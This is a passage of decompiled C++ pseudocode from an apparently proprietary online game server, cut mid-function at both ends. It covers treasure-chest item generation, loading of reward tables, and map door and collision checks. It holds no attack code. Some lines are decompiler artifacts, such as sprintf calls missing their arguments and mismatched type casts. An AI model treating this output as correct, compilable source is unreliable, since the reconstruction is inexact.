LOBYTE(v66) = 1; if ( !TreasureChestMaker::tcm_GetItemNum(&itemmaker) ) { LOBYTE(v66) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); LABEL_7: v66 = -1; LABEL_24: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"); goto LABEL_29; } v5 = (const char *)*(_WORD *)(iti + 8); v50 = 0; v49 = v5; v48 = "ItemID"; v51 = &v43; ORToken::ORToken(&v43, "Container"); v6 = OptionReader::or_SelectFrom(&magiccontainer, v43, v48, (int)v49, v50); v7 = *(_WORD *)(iti + 8); v8 = v6; containerstr = v6; if ( v6 != 0 ) { v50 = *(_WORD *)((char *)v6 + 41) - *(_WORD *)((char *)v6 + 39) + 1; v9 = *(_WORD *)((char *)v6 + 39) + RandomBox::operator__(&rndbox, v50); if ( v9 > 0 ) { v51 = (ORToken *)v9; while ( 1 ) { v10 = RandomBox::rb_1000000(&rndbox); for ( k = 0; ; ++k ) { v11 = (const char *)*((_WORD *)v8 + 2); v50 = k; v49 = v11; v48 = "Index"; v60 = &v43; v47 = 0; v46 = 0; v45 = 0; v44 = 0; *(_DWORD *)&v43.ort_Name[0] = 0; strncpy(v43.ort_Name, "Content", 0x14u); v12 = OptionReader::or_SelectFrom(&magiccontainer, v43, v48, (int)v49, v50); v13 = v12; v14 = *(_DWORD *)((char *)v12 + 43); if ( v10 <= v14 ) break; v8 = containerstr; v10 -= v14; } v50 = *(_WORD *)v13; v15 = ItemAttributeClassContainer::operator__(&itmattcontainer, v50); v16 = *(_WORD *)v13; v50 = (int)&stru_598DE4.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current; LOWORD(v63) = v16; v17 = v15; v18 = v15->vfptr; v49 = &content; v48 = v63; v18->iac_itemcreate( v17, (unsigned __int16)v63, (ItemTotalInformation *)&content, (char *)&stru_598DE4.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); v50 = *(_WORD *)((char *)v13 + 39); sprintf(option, "-L%d"); v19 = v17->vfptr; v50 = (int)option; v49 = &content; v48 = v63; v19->iac_itemcreate(v17, (unsigned __int16)v63, (ItemTotalInformation *)&content, option); v20 = *((_BYTE *)v13 + 42) - *((_BYTE *)v13 + 41) + 1; if ( *((_BYTE *)v13 + 42) - *((_BYTE *)v13 + 41) == -1 || (unsigned int)v20 > 0x64 ) { v23 = 0; } else { v21 = (char *)&rndbox + 32776 * v20; v22 = *((_DWORD *)v21 + 8193) & (*((_DWORD *)v21 + 8192) + 1); *((_DWORD *)v21 + 8192) = v22; v23 = *(_WORD *)&v21[2 * v22]; } v50 = v23 + *((_BYTE *)v13 + 41); sprintf(option, "-U%d"); v24 = v17->vfptr; v50 = (int)option; v49 = &content; v48 = v63; v24->iac_itemcreate(v17, (unsigned __int16)v63, (ItemTotalInformation *)&content, option); v50 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v49 = (const char *)ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&content, 6, (int)v49, v50); TreasureChestMaker::tcm_ItemMake(&itemmaker, (ItemTotalInformation *)&content); v51 = (ORToken *)((char *)v51 - 1); if ( !v51 ) break; v8 = containerstr; } } v25 = gpp.pp_Buffer; ItemBoxIterEmpty::ItemBoxIterEmpty(&ibie, (ItemBag *)v3 + 8892, (ChargedEffectContainer *)((char *)v3 + 91688)); v26 = *(_DWORD *)v3; LOBYTE(v66) = 2; v27 = (*(int (__thiscall **)(void *))(v26 + 1916))(v3); uii = &ibie; v56 = v27; v57 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { v28 = TreasureChestMaker::tcm_PutInto( &itemmaker, 0, (PROTO_ITEM_CMD *)v25 + 24, uii->baseclass_0.ibi_finger, (TreasureChestLocationManager *)((char *)v3 + 89166), 9u); if ( v28 ) { inv.Inven = inv.Inven & 0x3FF | 0x2400; inv.Inven ^= (inv.Inven ^ LOWORD(uii->baseclass_0.ibi_finger)) & 0x3FF; *(_WORD *)v25 = 13389; *((_DWORD *)v25 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_WORD *)v25 + 1) = *((_WORD *)v3 + 2); *((_WORD *)v25 + 6) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1916))(v3) + 4); *((_DWORD *)v25 + 5) = 0; *((_DWORD *)v25 + 4) = price; v50 = *(_DWORD *)((char *)v3 + 98); v29 = NameString::operator__(&namestring, (Name3 *)v50); *((_WORD *)v25 + 7) = MapDataBox::mdb_2mapid(&mapdatabox, v29); *((_DWORD *)v25 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); v50 = v28 + 25; v49 = "ShineObjectClass::ShinePlayer::sp_KQReward : Packet Too Long"; v30 = ProtocolPacket::pp_SetPacketLen(&gpp, v28 + 25); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v30, v49, v50) ) { v31 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v31); } v32 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1916))(v3); v33 = uii->baseclass_0.ibi_itembag->vfptr; v50 = uii->baseclass_0.ibi_finger; v34 = ((int (__stdcall *)(int))v33->ib_GetInventoryCell)(v50); v35 = *(_DWORD *)v3; v51 = (ORToken *)v34; v36 = *(_WORD *)((*(int (__thiscall **)(void *))(v35 + 1916))(v3) + 4); v37 = *(_DWORD *)v32; v50 = (int)&inv; v49 = (const char *)&inv; LOWORD(containerstr) = v36; MoveManager::MoveManager((DiceTaiSai *)&itemmaker); v48 = v38; v47 = (int)v51; v46 = containerstr; (*(void (__thiscall **)(int, void *, ORToken *, char *, const char *, int))(v37 + 48))( v32, containerstr, v51, v38, v49, v50); v39 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); v40 = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3) + 4); v41 = *(_DWORD *)v39; v50 = -1; v49 = 0; v48 = price; v47 = v40; (*(void (__thiscall **)(int, int, char *, _DWORD, signed int))(v41 + 56))(v39, v40, price, 0, -1); v42 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); ++*(_WORD *)(v42 + 4); ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; LOBYTE(v66) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); v66 = -1; goto LABEL_28; } } ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; LOBYTE(v66) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); v66 = -1; goto LABEL_24; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_MagicContainerMake : Null Container", v7); LOBYTE(v66) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); v66 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_29: __security_check_cookie(cookie); } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); //----- (00471010) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem(void *this, int itm) { void *v2; // edi@1 int v3; // edx@1 void *v4; // eax@3 unsigned __int16 v5; // si@4 int v6; // ST10_4@6 CServerInfo::MY_SERVER *v7; // eax@6 ItemDataBox::ItemDataBoxIndex *v8; // eax@6 ItemAttributeClass *v9; // eax@8 __int16 key; // [sp+8h] [bp-88h]@3 FunctionEntarance _; // [sp+Ch] [bp-84h]@1 char iti; // [sp+10h] [bp-80h]@6 unsigned __int16 v13; // [sp+18h] [bp-78h]@6 unsigned int v14; // [sp+80h] [bp-10h]@10 int v15; // [sp+8Ch] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; v15 = 0; if ( itm ) { key = *(_WORD *)(itm + 8); v4 = bsearch(&key, &itemconvmap, itemconvmap.icm_Number, 4u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); if ( v4 ) v5 = *((_WORD *)v4 + 1); else v5 = -1; v13 = v5; v6 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v7 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&iti, 6, v7->nZoneNo, v6); v13 = v5; v8 = ItemDataBox::operator__(&itemdatabox, v5); if ( v8 && v8->data ) { v9 = ItemAttributeClassContainer::operator__(&itmattcontainer, v5); v9->vfptr->iac_itemcreate( v9, v5, (ItemTotalInformation *)&iti, (char *)&stru_598DE4.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); ShineObjectClass::ShinePlayer::sp_MakeItem(v2, *((_WORD *)v2 + 2), (int)&iti); } --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem"); } else { funcallanalizer.fca_stackpoint = v3 - 1; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem"); } __security_check_cookie(v14); } //----- (004711B0) -------------------------------------------------------- void __thiscall ItemConversionMap::icm_Store(ItemConversionMap *this, unsigned __int16 from, unsigned __int16 to) { unsigned int v3; // eax@1 int v4; // ST04_4@4 v3 = this->icm_Number; if ( v3 >= 0x20 ) { AssertClass::ac_AssertFail(&shineassert, "ItemConversionMap::icm_Store : Too many item map", v3); ShineExit("ItemConversionMap::icm_Store"); } this->icm_Buffer[this->icm_Number].icm_From = from; this->icm_Buffer[this->icm_Number].icm_To = to; v4 = this->icm_Number + 1; this->icm_Number = v4; qsort(this, v4, 4u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } //----- (00471230) -------------------------------------------------------- void __thiscall MagicContainer::mc_Load(MagicContainer *this) { OptionReader *v1; // edi@1 char v2; // bl@1 int v3; // eax@1 int v4; // esi@1 char *v5; // eax@2 int v6; // ebx@4 int v7; // ebp@7 void *v8; // ebx@10 unsigned int v9; // eax@13 unsigned __int16 v10; // ax@18 int v11; // ecx@18 unsigned int v12; // eax@22 unsigned __int16 v13; // si@22 SkillDataBox::SkillDataIndex *v14; // eax@27 int v15; // edi@28 int v16; // ebp@28 int v17; // edx@29 void *v18; // esi@29 unsigned int v19; // eax@33 ORToken v20; // [sp-20h] [bp-40h]@29 int v21; // [sp-1Ch] [bp-3Ch]@29 ORToken v22; // [sp-18h] [bp-38h]@10 ORToken v23; // [sp-14h] [bp-34h]@4 int v24; // [sp-10h] [bp-30h]@4 char *v25; // [sp-Ch] [bp-2Ch]@4 int v26; // [sp-8h] [bp-28h]@4 int v27; // [sp-4h] [bp-24h]@4 int container; // [sp+10h] [bp-10h]@7 OptionReader *v29; // [sp+14h] [bp-Ch]@1 int containers; // [sp+18h] [bp-8h]@4 ORToken *sommrate; // [sp+1Ch] [bp-4h]@4 v1 = (OptionReader *)this; v29 = (OptionReader *)this; v2 = OptionReader::or_Read(&this->mc_OptionTable, "../9Data/Shine/World/TreasureReward.txt"); v3 = OptionReader::or_ErrorLine(v1); v4 = 0; if ( !v2 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Option read error", v3); v5 = OptionReader::or_ErrorString(v1); AssertClass::ac_AssertFail(&shineassert, "\t", v5); ShineExit("MagicContainer::mc_Load"); } sommrate = &v23; v27 = 0; v26 = 0; v25 = 0; v24 = 0; *(_DWORD *)&v23.ort_Name[0] = 0; strncpy(v23.ort_Name, "Container", 0x14u); v6 = OptionReader::or_SelectCountFrom(v1, v23); containers = v6; if ( v6 <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : table Container empty or not exist", v6); ShineExit("MagicContainer::mc_Load"); } v7 = 0; container = 0; if ( v6 > 0 ) { while ( 1 ) { v27 = v7; sommrate = &v22; v26 = v4; v25 = (char *)v4; v24 = v4; *(_DWORD *)&v23.ort_Name[0] = v4; *(_DWORD *)&v22.ort_Name[0] = v4; strncpy(v22.ort_Name, "Container", 0x14u); v8 = OptionReader::or_SelectFromOrder(v1, v22, v27); if ( (v8 != (void *)v4) == v4 ) { AssertClass::ac_AssertFail(&shineassert, "containerstr NULL", v7, containers); ShineExit("MagicContainer::mc_Load"); } v9 = BTree::operator__(&stru_12510618, (const char *)v8 + 6); if ( v9 == -1 ) LOWORD(v9) = -1; *(_DWORD *)v8 = (unsigned __int16)v9; if ( ((unsigned __int16)v9 != 65535) == v4 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Invalid card", (const char *)v8 + 6); ShineExit("MagicContainer::mc_Load"); } v10 = *(_WORD *)((char *)v8 + 41); v11 = *(_WORD *)((char *)v8 + 41); sommrate = (ORToken *)(v10 < 8u); if ( v10 >= 8u ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Too many content", v11, 8); ShineExit("MagicContainer::mc_Load"); } v27 = (int)UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UsePresentBox"); UseEffect::UsedItemEffect::uie_SetChargedBuffer( &useditemeffect, *(_WORD *)v8, &ui_chestopen, (SkillDataBox::SkillDataIndex *)v27); if ( *((_BYTE *)v8 + 43) != 45 ) { v12 = BTree::operator__(&stru_12510618, (const char *)v8 + 43); v13 = -1; if ( v12 != -1 ) v13 = v12; if ( v13 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Invalid Dummycard", (const char *)v8 + 43); ShineExit("MagicContainer::mc_Load"); } v27 = *(_WORD *)v8; ItemConversionMap::icm_Store(&itemconvmap, v13, v27); v14 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v13, &ui_dummy2real, v14); v4 = 0; } v15 = 0; v16 = 0; while ( 1 ) { v17 = *((_WORD *)v8 + 2); v27 = v16; v26 = v17; v25 = "Index"; sommrate = &v20; v24 = v4; *(_DWORD *)&v23.ort_Name[0] = v4; *(_DWORD *)&v22.ort_Name[0] = v4; v21 = v4; *(_DWORD *)&v20.ort_Name[0] = v4; strncpy(v20.ort_Name, "Content", 0x14u); v18 = OptionReader::or_SelectFrom(v29, v20, v25, v26, v27); if ( !v18 ) break; if ( *(_DWORD *)v18 != *(_WORD *)((char *)v18 + 47) ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Checksum invalid", container, v16); ShineExit("MagicContainer::mc_Load"); } sommrate = (ORToken *)(*(_DWORD *)((char *)v18 + 43) + v15); v19 = BTree::operator__(&stru_12510618, (const char *)v18 + 6); if ( v19 == -1 ) LOWORD(v19) = -1; *(_DWORD *)v18 = (unsigned __int16)v19; if ( (unsigned __int16)v19 == 65535 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Invalid reward", (const char *)v18 + 6); ShineExit("MagicContainer::mc_Load"); } v15 = (int)sommrate; ++v16; v4 = 0; } if ( v15 != 1000000 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : TotalRate not 1000", container); ShineExit("MagicContainer::mc_Load"); } ++container; if ( container >= containers ) break; v7 = container; v1 = v29; v4 = 0; } } } //----- (004715B0) -------------------------------------------------------- void __cdecl StackPrinting() { FunctionCallingAnalyzer::fca_printf(&funcallanalizer, "5ZoneServerDumpStack"); } //----- (004715C0) -------------------------------------------------------- int __stdcall WinMain(HINSTANCE__ *hInstance, HINSTANCE__ *hPrevInstance, char *lpCmdLine, int nCmdShow) { int v4; // ecx@0 _iobuf *v5; // esi@1 int dmp; // [sp+0h] [bp-4h]@1 dmp = v4; v5 = fopen("Size.txt", "w"); fprintf(v5, "%d/%d\n"); fclose(v5); MiniDumper::MiniDumper((MiniDumper *)&dmp); MiniDumper::FuncForStack = (int (*)(void))StackPrinting; return ZoneServer::zs_start(&zoneserver, lpCmdLine); } // 1465DF9C: using guessed type int (*MiniDumper__FuncForStack)(void); //----- (00471620) -------------------------------------------------------- bool __cdecl OnStart_Service() { return ZoneServer::zs_ServiceRoutineStart(&zoneserver) != 0; } //----- (00471630) -------------------------------------------------------- void __cdecl OnStop_Service() { ZoneServer::zs_serviceend(&zoneserver); } //----- (00471640) -------------------------------------------------------- int __thiscall Name8::operator__(Name8 *this, Name8 *nm) { return *(_DWORD *)&this->n8_name[0] != *(_DWORD *)&nm->n8_name[0] || *(_DWORD *)&this->n8_name[4] != *(_DWORD *)&nm->n8_name[4] || *(_DWORD *)&this->n8_name[8] != *(_DWORD *)&nm->n8_name[8] || *(_DWORD *)&this->n8_name[12] != *(_DWORD *)&nm->n8_name[12] || *(_DWORD *)&this->n8_name[16] != *(_DWORD *)&nm->n8_name[16] || *(_DWORD *)&this->n8_name[20] != *(_DWORD *)&nm->n8_name[20] || *(_DWORD *)&this->n8_name[24] != *(_DWORD *)&nm->n8_name[24] || *(_DWORD *)&this->n8_name[28] != *(_DWORD *)&nm->n8_name[28]; } //----- (00471690) -------------------------------------------------------- void __thiscall MapBlock::MapDoorBlockElement::MapDoorBlockElement(ItemRandomOption::RandomOptionDatum *this) { *(_QWORD *)&this->DropItemIndex.n8_name[24] = 0i64; *(_QWORD *)&this->DropItemIndex.n8_name[16] = 0i64; *(_QWORD *)&this->DropItemIndex.n8_name[8] = 0i64; *(_QWORD *)&this->DropItemIndex.n8_name[0] = 0i64; } //----- (004716B0) -------------------------------------------------------- unsigned int __thiscall MapBlock::MapDoorBlockElement::mdbe_Load(MapBlock::MapDoorBlockElement *this, _iobuf *fp) { MapBlock::MapDoorBlockElement *v2; // esi@1 int v3; // ecx@1 int v4; // esi@1 int v6; // [sp+14h] [bp-4h]@1 v2 = this; fread(this, 0x20u, 1u, fp); fread(&v2->mdbe_StartX, 4u, 1u, fp); fread(&v2->mdbe_StartY, 4u, 1u, fp); fread(&v2->mdbe_EndX, 4u, 1u, fp); fread(&v2->mdbe_EndY, 4u, 1u, fp); v6 = (int)&v2->mdbe_DataSize; fread(&v2->mdbe_DataSize, 4u, 1u, fp); fread(&v2->mdbe_Address, 4u, 1u, fp); v3 = v2->mdbe_EndX - v2->mdbe_StartX + 1; v4 = v2->mdbe_EndY - v2->mdbe_StartY + 1; if ( 8 * v3 / 8 != v3 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorBlockElement::mdbe_Load : Byte alignment error", v3); ShineExit("MapBlock::MapDoorBlockElement::mdbe_Load"); } if ( v4 * v3 / 8 != *(_DWORD *)v6 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorBlockElement::mdbe_Load : Length error", 0); ShineExit("MapBlock::MapDoorBlockElement::mdbe_Load"); } return 2 * *(_DWORD *)v6; } //----- (004717D0) -------------------------------------------------------- void __thiscall MapBlock::MapDoorArray::mda_Load(MapBlock::MapDoorArray *this, char *mapname) { MapBlock::MapDoorArray *v2; // esi@1 _iobuf *v3; // eax@1 _iobuf *v4; // ebp@1 unsigned int v5; // edi@5 unsigned int v6; // ebx@5 MapBlock::MapDoorBlockElement *v7; // ebp@6 void *v8; // eax@9 _iobuf *fp; // [sp+8h] [bp-8Ch]@1 char path[128]; // [sp+10h] [bp-84h]@1 v2 = this; sprintf(path, "../9Data/Shine/BlockInfo/%s.sbi"); v2->mda_TotalHeadCnt = 0; v3 = fopen(path, "r"); v4 = v3; fp = v3; if ( v3 ) { fread(v2, 4u, 1u, v3); if ( v2->mda_TotalHeadCnt >= 0x20 ) { AssertClass::ac_AssertFail( &shineassert, "MapBlock::MapDoorArray::mda_Load : Too many doors", v2->mda_TotalHeadCnt); ShineExit("MapBlock::MapDoorArray::mda_Load"); } v5 = 0; v6 = 0; if ( v2->mda_TotalHeadCnt ) { v7 = v2->mda_Array; do { v5 += MapBlock::MapDoorBlockElement::mdbe_Load(v7, fp); ++v6; ++v7; } while ( v6 < v2->mda_TotalHeadCnt ); v4 = fp; } v8 = operator new__(v5); v2->mda_BlockBuffer = (char *)v8; if ( -(fread(v8, 1u, v5, v4) != v5) == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorArray::mda_Load : Buffer size wrong", 0); ShineExit("MapBlock::MapDoorArray::mda_Load"); } fclose(v4); } } //----- (00471900) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformation::MapBlockInformation(MapBlock::MapBlockInformation *this) { MapBlock::MapBlockInformation *v1; // esi@1 v1 = this; AreaInfoData::AreaInfoData(&this->mbi_AreaData); _eh_vector_constructor_iterator_( v1->mbi_DoorBlockInform.mda_Array, 0x38u, 32, (void (__thiscall *)(void *))MapBlock::MapDoorBlockElement::MapDoorBlockElement, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->mbi_DoorBlockInform.mda_BlockBuffer = 0; v1->mbi_MoveBlockBuffer = 0; v1->mbi_BlockDistribute = 0; v1->mbi_AttackBlockBuffer = 0; } //----- (00471970) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformation::_MapBlockInformation(MapBlock::MapBlockInformation *this) { MapBlock::MapBlockInformation *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->mbi_MoveBlockBuffer; if ( v2 ) operator delete(v2); if ( v1->mbi_AttackBlockBuffer ) operator delete(v1->mbi_AttackBlockBuffer); if ( v1->mbi_DoorBlockInform.mda_BlockBuffer ) operator delete(v1->mbi_DoorBlockInform.mda_BlockBuffer); _eh_vector_destructor_iterator_( v1->mbi_DoorBlockInform.mda_Array, 0x38u, 32, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); AreaInfoData::_AreaInfoData(&v1->mbi_AreaData); } //----- (00471A00) -------------------------------------------------------- char __thiscall MapBlock::MapBlockInformation::mbi_IsAttackBlock(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y) { MapBlock::MapBlockInformation *v3; // esi@1 unsigned int v4; // eax@1 unsigned int v5; // ecx@1 unsigned int v6; // edx@1 char *v7; // eax@3 int v8; // eax@4 v3 = this; v4 = this->mbi_blockxsize; v5 = 8 * x / 0x32; v6 = 8 * y / 0x32; if ( v5 >= v4 || v6 >= v3->mbi_blockysize ) { LOBYTE(v8) = 1; } else { v7 = v3->mbi_AttackBlockBuffer; if ( v7 ) v8 = (1 << (v5 & 7)) & (unsigned __int8)*(&v7[v6 * v3->mbi_xbyte] + 8 * x / 0x190); else LOBYTE(v8) = 0; } return v8; } //----- (00471A70) -------------------------------------------------------- char __thiscall MapBlock::MapBlockInformation::mbi_IsMoveBlock(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y) { MapBlock::MapBlockInformation *v3; // esi@1 unsigned int v4; // eax@1 unsigned int v5; // ecx@1 unsigned int v6; // edx@1 int v7; // eax@3 v3 = this; v4 = this->mbi_blockxsize; v5 = 8 * x / 0x32; v6 = 8 * y / 0x32; if ( v5 >= v4 || v6 >= v3->mbi_blockysize ) LOBYTE(v7) = 1; else v7 = (1 << (v5 & 7)) & *(&v3->mbi_MoveBlockBuffer[8 * x / 0x190] + v6 * v3->mbi_xbyte); return v7; } //----- (00471AE0) -------------------------------------------------------- int __thiscall MapBlock::MapBlockInformationBox::__unnamed::__unnamed(int this) { int v1; // esi@1 v1 = this; *(_DWORD *)(this + 8) = 0; *(_DWORD *)(this + 4) = 0; *(_DWORD *)this = 0; MapBlock::MapBlockInformation::MapBlockInformation((MapBlock::MapBlockInformation *)(this + 20)); return v1; } //----- (00471B00) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformationBox::__unnamed::___unnamed(int this) { MapBlock::MapBlockInformation::_MapBlockInformation((MapBlock::MapBlockInformation *)(this + 20)); } //----- (00471B10) -------------------------------------------------------- void __thiscall MapBlock::MapBlockInformationBox::_MapBlockInformationBox(MapBlock::MapBlockInformationBox *this) { _eh_vector_destructor_iterator_( this, 0xB50u, 256, (void (__thiscall *)(void *))MapBlock::MapBlockInformationBox::__unnamed::___unnamed); } //----- (00471B30) -------------------------------------------------------- char __thiscall MapBlock::MapDoorBlockElement::mdbe_DoorAction(MapBlock::MapDoorBlockElement *this, MapBlock::MapBlockInformation *blockinform, MapBlock::MapDoorArray *array, MapBlock::DoorAction da) { MapBlock::MapDoorBlockElement *v4; // esi@1 const void *v5; // ebp@1 unsigned int v6; // edx@3 unsigned int v7; // ebx@3 unsigned int v8; // eax@4 void *v9; // edi@6 void *v10; // eax@13 unsigned int v11; // esi@13 MapBlock::MapDoorBlockElement *v13; // [sp+10h] [bp-14h]@1 unsigned int arraya; // [sp+2Ch] [bp+8h]@3 v4 = this; v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapDoorArray::mdbe_DoorAction2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = &array->mda_BlockBuffer[v4->mdbe_Address]; if ( da == 1 ) v5 = (char *)v5 + v4->mdbe_DataSize; v6 = v4->mdbe_StartY; v7 = (v4->mdbe_EndX - v4->mdbe_StartX + 1) >> 3; for ( arraya = v4->mdbe_StartY; v6 <= v4->mdbe_EndY; arraya = v6 ) { v8 = v4->mdbe_StartX; if ( v8 >= blockinform->mbi_blockxsize || v6 >= blockinform->mbi_blockysize ) v9 = 0; else v9 = &blockinform->mbi_MoveBlockBuffer[v8 >> 3] + v6 * blockinform->mbi_xbyte; if ( da == 1 ) { if ( !v9 ) { AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorBlockElement::mdbe_DoorAction : Null block", v9 != 0); LABEL_16: v6 = arraya; goto LABEL_17; } memcpy(v9, v5, (unsigned __int16)v7); v4 = v13; } else { if ( (signed int)v7 > 0 ) { v10 = v9; v11 = v7; do { *(_BYTE *)v10 |= *((_BYTE *)v10 + v5 - v9); v10 = (char *)v10 + 1; --v11; } while ( v11 ); v4 = v13; goto LABEL_16; } } LABEL_17: v5 = (char *)v5 + v7; ++v6; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapBlock::MapDoorArray::mdbe_DoorAction2"); return 1; } //----- (00471CA0) -------------------------------------------------------- void __thiscall MapBlock::MapDoorArray::mda_CloseAllDoor(MapBlock::MapDoorArray *this, MapBlock::MapBlockInformation *blockinfo) { MapBlock::MapDoorArray *v2; // esi@1 int v3; // edi@1 MapBlock::MapDoorBlockElement *v4; // ebx@2 v2 = this; v3 = 0; if ( this->mda_TotalHeadCnt ) { v4 = this->mda_Array; do { if ( !MapBlock::MapDoorBlockElement::mdbe_DoorAction(v4, blockinfo, v2, 0) ) AssertClass::ac_AssertFail(&shineassert, "MapBlock::MapDoorArray::mda_CloseAllDoor : Close error", v3); ++v3; ++v4; } while ( v3 < v2->mda_TotalHeadCnt ); } } //----- (00471CF0) -------------------------------------------------------- char __thiscall MapBlock::MapBlockInformation::mbi_OccupCellCheck(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y, int range) { MapBlock::MapBlockInformation *v4; // edi@1 int v5; // esi@1 int v6; // eax@1 int v7; // ecx@1 unsigned int v8; // ebx@1 unsigned int v9; // edx@1 unsigned int v10; // ebp@3 int v11; // edx@3 int dy; // [sp+14h] [bp-20h]@2 int v14; // [sp+18h] [bp-1Ch]@1 unsigned int xa; // [sp+38h] [bp+4h]@1 unsigned int ya; // [sp+3Ch] [bp+8h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_OccupCellCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapBlock::MapBlockInformation::mbi_OccupCellCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = range; v6 = -range; v7 = -range; v8 = 8 * x / 0x32; v9 = 8 * y / 0x32; xa = 8 * x / 0x32; ya = 8 * y / 0x32; v14 = -range; if ( -range > range ) { LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_OccupCellCheck"); return 0; } while ( 1 ) { dy = v6; if ( v6 <= v5 ) break; LABEL_10: ++v7; v14 = v7; if ( v7 > v5 ) goto LABEL_11; } v10 = v7 + v8; v11 = v6 + v9; while ( 1 ) { if ( v10 >= v4->mbi_blockxsize || v11 >= v4->mbi_blockysize ) goto LABEL_8; if ( !((unsigned __int8)(1 << (v10 & 7)) & *(&v4->mbi_MoveBlockBuffer[v10 >> 3] + v11 * v4->mbi_xbyte)) ) break; v5 = range; v7 = v14; v6 = dy; LABEL_8: ++v6; ++v11; dy = v6; if ( v6 > v5 ) { v6 = -range; v8 = xa; v9 = ya; goto LABEL_10; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapBlock::MapBlockInformation::mbi_OccupCellCheck"); 